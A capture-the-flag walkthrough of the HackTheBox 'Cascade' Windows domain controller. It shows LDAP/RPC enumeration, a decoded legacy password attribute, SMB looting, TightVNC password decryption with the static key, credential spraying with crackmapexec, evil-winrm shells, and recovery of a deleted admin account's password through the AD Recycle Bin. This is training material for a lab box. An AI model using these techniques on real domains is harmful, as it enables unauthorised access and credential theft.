cascade

Cascade was an interesting Windows all about recovering credentials from Windows enumeration. I’ll find credentials for an account in LDAP results, and use that to gain SMB access, where I find a TightVNC config with a different users password. From there, I get a shell and access to a SQLite database and a program that reads and decrypts a password from it. That password allows access to an account that is a member of the AD Recycle group, which I can use to find a deleted temporary admin account with a password, which still works for the main administrator accoun, providing a shell.

Box Stats

Name: Cascade Cascade
Release Date: 28 Mar 2020
Retire Date: 25 Jul 2020
OS: Windows Windows
Base Points: Medium [30]
Rated Difficulty: Rated difficulty for Cascade
Radar Graph: Radar chart for Cascade
First Blood User qtc qtc 00 days, 02 hours, 41 mins, 43 seconds
First Blood Root jkr jkr 00 days, 03 hours, 05 mins, 07 seconds
Creator: VbScrub VbScrub

Recon

nmap

nmap shows 15 open TCP ports, typical of a Windows host:

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.182
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 06:19 EDT
Nmap scan report for 10.10.10.182
Host is up (0.015s latency).
Not shown: 65520 filtered ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49172/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds
root@kali# nmap -p 53,88,135,389,445,636,3268,3269,5985 -sV -sC -oA scans/nmap-tcpscripts 10.10.10.182
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 06:20 EDT
Nmap scan report for 10.10.10.182
Host is up (0.015s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-03-29 10:22:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m46s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-03-29T10:23:00
|_  start_date: 2020-03-29T10:08:16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.55 seconds

nmap identifies the OS as Windows Server 2008 SP1, which is old and no longer supported.

WinRM (TCP 5985) open means that some users will be able to get a shell via creds, so I’ll keep that in mind.

SMB - TCP 445

SMB seems to allow anonymous login, but then shows no shares:

root@kali# smbclient -N -L //10.10.10.182
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available
root@kali# smbmap -H 10.10.10.182
[+] IP: 10.10.10.182:445        Name: 10.10.10.182

RPC - 445

RPC does allow for anonymous connection as well. I am able to list domain users:

root@kali# rpcclient -U '' -N 10.10.10.182
rpcclient $> enumdomusers 
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

LDAP - TCP 389

To enumerate LDAP, first I’ll get the naming context:

root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

I can dump all to a file with:

ldapsearch -h 10.10.10.182 -x -b "DC=cascade,DC=local" > ldap-anonymous

If I wanted to get just the people, I could provide a query::

ldapsearch -h 10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people

Looking through the data, Ryan Thompson has an interesting extra data item at the very end, cascadeLegacyPwd:

# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132299789414187261
lastLogoff: 0
lastLogon: 132299789469255357
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

I can decode the value to rY4n5eva:

root@kali# echo clk0bjVldmE= | base64 -d
rY4n5eva

Shell as s.smith

Revisiting SMB

I tried connecting over WinRM, but didn’t succeed.

root@kali# crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\r.thompson:rY4n5eva "Failed to authenticate the user r.thompson with ntlm"

Back to SMB.

Validate Creds

With the password collected from LDAP, more shares are visible:

root@kali# crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:CASCADE) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         [+] CASCADE\r.thompson:rY4n5eva 
SMB         10.10.10.182    445    CASC-DC1         [+] Enumerated shares
SMB         10.10.10.182    445    CASC-DC1         Share           Permissions     Remark
SMB         10.10.10.182    445    CASC-DC1         -----           -----------     ------
SMB         10.10.10.182    445    CASC-DC1         ADMIN$                          Remote Admin
SMB         10.10.10.182    445    CASC-DC1         Audit$                          
SMB         10.10.10.182    445    CASC-DC1         C$                              Default share
SMB         10.10.10.182    445    CASC-DC1         Data            READ            
SMB         10.10.10.182    445    CASC-DC1         IPC$                            Remote IPC
SMB         10.10.10.182    445    CASC-DC1         NETLOGON        READ            Logon server share 
SMB         10.10.10.182    445    CASC-DC1         print$          READ            Printer Drivers
SMB         10.10.10.182    445    CASC-DC1         SYSVOL          READ            Logon server share 

smbmap shows the same:

root@kali# smbmap -H 10.10.10.182 -u r.thompson -p rY4n5eva
[+] IP: 10.10.10.182:445        Name: 10.10.10.182                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Audit$                                                  NO ACCESS
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        print$                                                  READ ONLY       Printer Drivers
        SYSVOL                                                  READ ONLY       Logon server share 

Share Enumeration

There’s a bunch of files in each of the shares I have access to. I use the following commands to just pull all the files in each share (Data for example):

root@kali# smbclient --user r.thompson //10.10.10.182/data rY4n5eva
Try "help" to get a list of possible commands.
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html (47.4 KiloBytes/sec) (average 47.4 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as ArkAdRecycleBin.log (20.2 KiloBytes/sec) (average 32.5 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as dcdiag.log (91.0 KiloBytes/sec) (average 53.4 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (50.3 KiloBytes/sec) (average 52.7 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*

Then I can see a nice list of the files with find:

root@kali# find smb-data-loot/ -type f 
smb-data-loot/IT/Logs/DCs/dcdiag.log
smb-data-loot/IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
smb-data-loot/IT/Email Archives/Meeting_Notes_June_2018.html
smb-data-loot/IT/Temp/s.smith/VNC Install.reg

There’s a couple interesting files. Meeting_Notes_June_2018.html presents like an email when viewed in Firefox:

image-20200329161051144

I’ll keep an eye out for the admin account password and TempAdmin.

VNC Install.reg is interesting too. The file uses 16-bit characters, and therefore looks really ugly in less or vim, but cat handles it:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""

The line "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f jumped out as interesting.

Crack TightVNC Password

Some reading about TightVNC shows that it stores the password in the register encrypted with a static key. There’s a bunch of tools out there to do it. I used this. It takes a file with the ciphertext, which I created with echo '6bcf2a4b6e5aca0f' | xxd -r -p > vnc_enc_pass:

root@kali# /opt/vncpwd/vncpwd vnc_enc_pass
Password: sT333ve2

That command is using the -r -p options in xxd to convert from a hex string to ran binary.

I could also just use the Bash trick to treat command output as the contents of a file with <( ):

root@kali# /opt/vncpwd/vncpwd <(echo '6bcf2a4b6e5aca0f' | xxd -r -p)
Password: sT333ve2                       

This link shows how to do it from within Metaspoit, and it works as well:

msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> false
>> Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"

WinRM

With these creds, crackmapexec shows that it is possible to get a shell over WinRM:

root@kali# crackmapexec winrm 10.10.10.182 -u s.smith -p sT333ve2
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [+] CASCADE\s.smith:sT333ve2 (Pwn3d!)

I’ll use Evil-WinRM to get a shell:

root@kali# evil-winrm -u s.smith -p sT333ve2 -i 10.10.10.182

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint
                                                                                         
*Evil-WinRM* PS C:\Users\s.smith\Documents>

The machine is actually Windows 2008:

*Evil-WinRM* PS C:\Users\s.smith\desktop> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
6      1      7601   65536

I can also grab user.txt:

*Evil-WinRM* PS C:\Users\s.smith\desktop> cat user.txt
d1c7e103************************

Privesc: s.smith –> arksvc

Enumeration

s.smith is a member of the Audit Share group:

*Evil-WinRM* PS C:\shares\audit> net user s.smith
User name                    s.smith
Full Name                    Steve Smith
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/28/2020 8:58:05 PM
Password expires             Never
Password changeable          1/28/2020 8:58:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 MapAuditDrive.vbs
User profile
Home directory
Last logon                   3/30/2020 6:40:39 AM

Logon hours allowed          All

Local Group Memberships      *Audit Share          *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

That’s not a standard MS Group, so I’ll check it out:

*Evil-WinRM* PS C:\shares\audit> net localgroup "Audit Share"
Alias name     Audit Share
Comment        \\Casc-DC1\Audit$

Members

-------------------------------------------------------------------------------
s.smith
The command completed successfully.

s.smith is the only user in the group, but the comment is a useful hint to look at this share. There’s a c:\shares\, but I don’t have permissions to list the directories in it:

*Evil-WinRM* PS C:\shares> ls
Access to the path 'C:\shares' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\shares:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

However, I can just go into Audit based on the share name in the comment:

*Evil-WinRM* PS C:\shares\audit> ls

    Directory: C:\shares\audit

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/28/2020   9:40 PM                DB
d-----        1/26/2020  10:25 PM                x64
d-----        1/26/2020  10:25 PM                x86
-a----        1/28/2020   9:46 PM          13312 CascAudit.exe
-a----        1/29/2020   6:00 PM          12288 CascCrypto.dll
-a----        1/28/2020  11:29 PM             45 RunAudit.bat
-a----       10/27/2019   6:38 AM         363520 System.Data.SQLite.dll
-a----       10/27/2019   6:38 AM         186880 System.Data.SQLite.EF6.dll

I can also access this share from my local box:

root@kali# crackmapexec smb -u s.smith -p sT333ve2 --shares 10.10.10.182
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:CASCADE) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         [+] CASCADE\s.smith:sT333ve2 
SMB         10.10.10.182    445    CASC-DC1         [+] Enumerated shares 
SMB         10.10.10.182    445    CASC-DC1         Share           Permissions     Remark
SMB         10.10.10.182    445    CASC-DC1         -----           -----------     ------
SMB         10.10.10.182    445    CASC-DC1         ADMIN$                          Remote Admin
SMB         10.10.10.182    445    CASC-DC1         Audit$          READ            
SMB         10.10.10.182    445    CASC-DC1         C$                              Default share
SMB         10.10.10.182    445    CASC-DC1         Data            READ            
SMB         10.10.10.182    445    CASC-DC1         IPC$                            Remote IPC
SMB         10.10.10.182    445    CASC-DC1         NETLOGON        READ            Logon server share 
SMB         10.10.10.182    445    CASC-DC1         print$          READ            Printer Drivers
SMB         10.10.10.182    445    CASC-DC1         SYSVOL          READ            Logon server share

I’ll copy all the files to my local VM:

root@kali# smbclient --user s.smith //10.10.10.182/Audit$ sT333ve2
Try "help" to get a list of possible commands.
smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> lcd smb-audit-loot/
smb: \> mget *
getting file \CascAudit.exe of size 13312 as CascAudit.exe (191.2 KiloBytes/sec) (average 191.2 KiloBytes/sec)
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (206.9 KiloBytes/sec) (average 198.4 KiloBytes/sec)
getting file \DB\Audit.db of size 24576 as Audit.db (461.5 KiloBytes/sec) (average 275.3 KiloBytes/sec)
getting file \RunAudit.bat of size 45 as RunAudit.bat (0.8 KiloBytes/sec) (average 213.2 KiloBytes/sec)
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (3317.8 KiloBytes/sec) (average 1198.9 KiloBytes/sec)
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (356.4 KiloBytes/sec) (average 690.9 KiloBytes/sec)
getting file \x64\SQLite.Interop.dll of size 1639936 as SQLite.Interop.dll (4411.8 KiloBytes/sec) (average 1805.3 KiloBytes/sec)
getting file \x86\SQLite.Interop.dll of size 1246720 as SQLite.Interop.dll (4629.3 KiloBytes/sec) (average 2308.8 KiloBytes/sec)

Audit.db

The first thing I looked at was DB\Audit.db. It’s a SQLite3 database:

root@kali# file Audit.db 
Audit.db: SQLite 3.x database, last written using SQLite version 3027002

I dumped all the data from the three tables:

root@kali# sqlite3 Audit.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
DeletedUserAudit  Ldap              Misc

sqlite> select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local

sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

sqlite> select * from Misc;

Nothing jumped out as particularly interesting. I thought the Ldap table could have had a password in it, but the base64-encoded data didn’t decode to ASCII. Perhaps it’s encrypted somehow.

CascAudit.exe

RunAudit.bat shows that CascAudit.exe is run with the db file as an argument:

root@kali# cat RunAudit.bat 
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"

It’s a .NET binary:

root@kali# file CascAudit.exe 
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

I’ll jump over to a Windows VM and use DNSpy to take a look. In the MailModule, there’s this code:

namespace CascAudiot
{
  // Token: 0x02000008 RID: 8
  [StandardModule]
  internal sealed class MainModule
  {
    // Token: 0x0600000F RID: 15 RVA: 0x00002128 File Offset: 0x00000328
    [STAThread]
    public static void Main()
    {
      if (MyProject.Application.CommandLineArgs.Count != 1)
      {
        Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
        return;
      }
      checked
      {
        using (SQLiteConnection sqliteConnection = new SQLiteConnection("Data Source=" + MyProject.Application.CommandLineArgs[0] + ";Version=3;"))
        {
          string str = string.Empty;
          string password = string.Empty;
          string str2 = string.Empty;
          try
          {
            sqliteConnection.Open();
            using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
            {
              using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
              {
                sqliteDataReader.Read();
                str = Conversions.ToString(sqliteDataReader["Uname"]);
                str2 = Conversions.ToString(sqliteDataReader["Domain"]);
                string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
                try
                {
                  password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
                }
                catch (Exception ex)
                {
                  Console.WriteLine("Error decrypting password: " + ex.Message);
                  return;
                }
              }
            }
            sqliteConnection.Close();
          }
          catch (Exception ex2)
          {
            Console.WriteLine("Error getting LDAP connection data From database: " + ex2.Message);
            return;
          }
...[snip]...

It is opening an SQLite connection to the database passed as an arg, reading from the LDAP table, and decrypting the password.

I decided to recover the plaintext password by debugging. I put a breakpoint on line 53 where the SQL connection is closed. Then I went Debug -> Start Debugging…, and set the Arugument to where I had a copy of Audit.db:

image-20200330090544403

On hitting OK, it runs to the breakpoint, and I can see the decrypted password in the Locals window:

debugClick for full size image

Based on the line in the SQLite DB, this password, w3lc0meFr31nd, likely pairs with the account arksvc.

WinRM

crackmapexec shows that not only does the password work, but will provide a WinRM shell:

root@kali# crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [+] CASCADE\arksvc:w3lc0meFr31nd (Pwn3d!)

Had I not know the account that was associated with this password, I could have used crackmapexec with a list of users:

root@kali# crackmapexec winrm 10.10.10.182 -u users -p w3lc0meFr31nd --continue-on-success
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\CascGuest:w3lc0meFr31nd "Failed to authenticate the user CascGuest with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [+] CASCADE\arksvc:w3lc0meFr31nd (Pwn3d!)
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\s.smith:w3lc0meFr31nd "Failed to authenticate the user s.smith with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\r.thompson:w3lc0meFr31nd "Failed to authenticate the user r.thompson with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\util:w3lc0meFr31nd "Failed to authenticate the user util with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\j.wakefield:w3lc0meFr31nd "Failed to authenticate the user j.wakefield with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\s.hickson:w3lc0meFr31nd "Failed to authenticate the user s.hickson with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\j.goodhand:w3lc0meFr31nd "Failed to authenticate the user j.goodhand with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\a.turnbull:w3lc0meFr31nd "Failed to authenticate the user a.turnbull with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\e.crowe:w3lc0meFr31nd "Failed to authenticate the user e.crowe with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\b.hanson:w3lc0meFr31nd "Failed to authenticate the user b.hanson with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\d.burman:w3lc0meFr31nd "Failed to authenticate the user d.burman with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\BackupSvc:w3lc0meFr31nd "Failed to authenticate the user BackupSvc with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\j.allen:w3lc0meFr31nd "Failed to authenticate the user j.allen with ntlm"
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\i.croft:w3lc0meFr31nd "Failed to authenticate the user i.croft with ntlm"

Anyway, I can get a shell over Evil-WinRM as arksvc:

root@kali# evil-winrm -u arksvc -p "w3lc0meFr31nd" -i 10.10.10.182

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\arksvc\Documents>

Privesc: arksvc –> administrator

Enumeration

arksvc is also in some interesting groups:

*Evil-WinRM* PS C:\> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 5:18:20 PM
Password expires             Never
Password changeable          1/9/2020 5:18:20 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   3/30/2020 12:37:25 PM

Logon hours allowed          All

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

AD Recycle

AD Recycle Bin is a well-know Windows group. Active Directory Object Recovery (or Recycle Bin) is a feature added in Server 2008 to allow administrators to recover deleted items just like the recycle bin does for files. The linked article gives a PowerShell command to query all of the deleted objects within a domain:

*Evil-WinRM* PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects


Deleted           : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name              : CASC-WS1
                    DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass       : computer
ObjectGUID        : 6d97daa4-2e82-4946-a11e-f91fa18bfabe

Deleted           : True
DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local                                                                                   
Name              : Scheduled Tasks
                    DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
ObjectClass       : group
ObjectGUID        : 13375728-5ddb-4137-b8b8-b9041d1d3fd2

Deleted           : True
DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Name              : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                    DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ObjectClass       : groupPolicyContainer
ObjectGUID        : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e

Deleted           : True
DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
Name              : Machine                                                              
                    DEL:93c23674-e411-400b-bb9f-c0340bda5a34               
ObjectClass       : container                                                            
ObjectGUID        : 93c23674-e411-400b-bb9f-c0340bda5a34
                                                                                         
Deleted           : True                                                                 
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
Name              : User                                                                 
                    DEL:746385f2-e3a0-4252-b83a-5a206da0ed88                             
ObjectClass       : container                                                            
ObjectGUID        : 746385f2-e3a0-4252-b83a-5a206da0ed88
                                            
Deleted           : True                                                                 
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local                                                                
Name              : TempAdmin               
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059                                         
ObjectClass       : user                                                                             
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059 

The last one is really interesting, because it’s the temporary administer account mentioned in the old email I found earlier (which also said it was using the same password as the normal admin account).

I can get all the details for that account:

*Evil-WinRM* PS C:\> Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *


accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
